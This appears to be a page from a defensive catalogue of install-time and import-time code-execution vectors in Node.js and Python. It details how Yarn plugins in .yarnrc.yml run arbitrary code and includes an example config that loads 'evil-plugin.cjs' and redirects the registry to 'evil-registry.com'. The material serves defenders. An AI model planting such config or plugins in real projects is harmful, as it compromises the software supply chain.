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  • npm lifecycle scriptsscripts field in package.jsonNode.js
  • setup.py arbitrary code executionsetup.py in source distributions (sdist)Python
  • NODE_OPTIONS preload injectionNODE_OPTIONS environment variable, CLI flags, or .env files loaded via --env-fileNode.js
  • .pth file import execution*.pth files on sys.path (commonly site-packages)Python
  • binding.gyp / node-gyp native compilationbinding.gyp file in the package rootNode.js
  • Corepack (packageManager field)"packageManager" field in package.json, COREPACK_HOME cache directoryNode.js
  • .npmrc registry manipulation.npmrc file (project, user, or global)Node.js
  • overrides / resolutions dependency swapoverrides (npm) or resolutions (Yarn) field in package.jsonNode.js
  • pnpm hooks (pnpmfile.cjs).pnpmfile.cjs in the project rootNode.js
  • .yarnrc.yml plugins and registry.yarnrc.yml in the project rootNode.js
  • pyproject.toml build backendspyproject.toml [build-system] tablePython
  • sitecustomize / usercustomize auto-importsitecustomize.py / usercustomize.py on sys.path (usually site-packages)Python
  • .node native addon loading.node files in node_modules/ (typically under build/Release/ or prebuilds/)Node.js
  • Yarn Plug'n'Play (.pnp.cjs).pnp.cjs in the project rootNode.js
  • __init__.py execution on import__init__.py in any package directory on sys.pathPython
  • .pyc bytecode cache poisoning.pyc files in __pycache__/ directories alongside source modulesPython
  • PYTHONPATH / PYTHONHOME module shadowingPYTHONPATH / PYTHONHOME environment variablesPython
  • npx / npm exec remote executionnpx, npm exec, npm create / npm init (initializer flows)Node.js
  • conftest.py auto-loading (pytest)conftest.py files in any directory pytest traversesPython
  • NODE_PATH environment variableNODE_PATH environment variableNode.js
  • "imports" field (subpath imports)imports field in package.jsonNode.js
  • require.extensions / Module._extensionsrequire.extensions / Module._extensions in any loaded moduleNode.js
  • .egg files and EGG-INFO scripts.egg files in site-packages (registered via easy-install.pth)Python
  • Zip imports (zipimport).zip / .pyz files on sys.path, or passed directly to the interpreterPython
  • PYTHONSTARTUP environment variablePYTHONSTARTUP environment variablePython
  • node_modules/.hooks/ directorynode_modules/.hooks/ directoryNode.js
Node.js
Install time/File on disk

.yarnrc.yml plugins and registry

Plugins load and execute during Yarn operations

Lives in
.yarnrc.yml in the project root
Attacker needs
Supply-chain foothold, Registry / config control
Lifecycle
Install
Startup
your code
Module load
Runtime
REPL

Runs while dependencies download and build. The app has never started.

How it runs

Yarn Berry's configuration file .yarnrc.yml supports plugins. A plugin is an arbitrary JavaScript module that runs during Yarn operations. It can hook into dependency resolution, package fetching, lifecycle scripts, or any other Yarn operation.

# .yarnrc.yml
plugins:
  - path: .yarn/plugins/evil-plugin.cjs
npmRegistryServer: "https://evil-registry.com/"

Yarn loads and executes these plugin files. The same config file also sets the npm registry URL (the same attack class as .npmrc), authentication tokens, and other settings that affect the entire install pipeline.

Defend

Review .yarnrc.yml plugin paths and registry URLs in PRs; keep plugins vendored and pinned; protect auth tokens.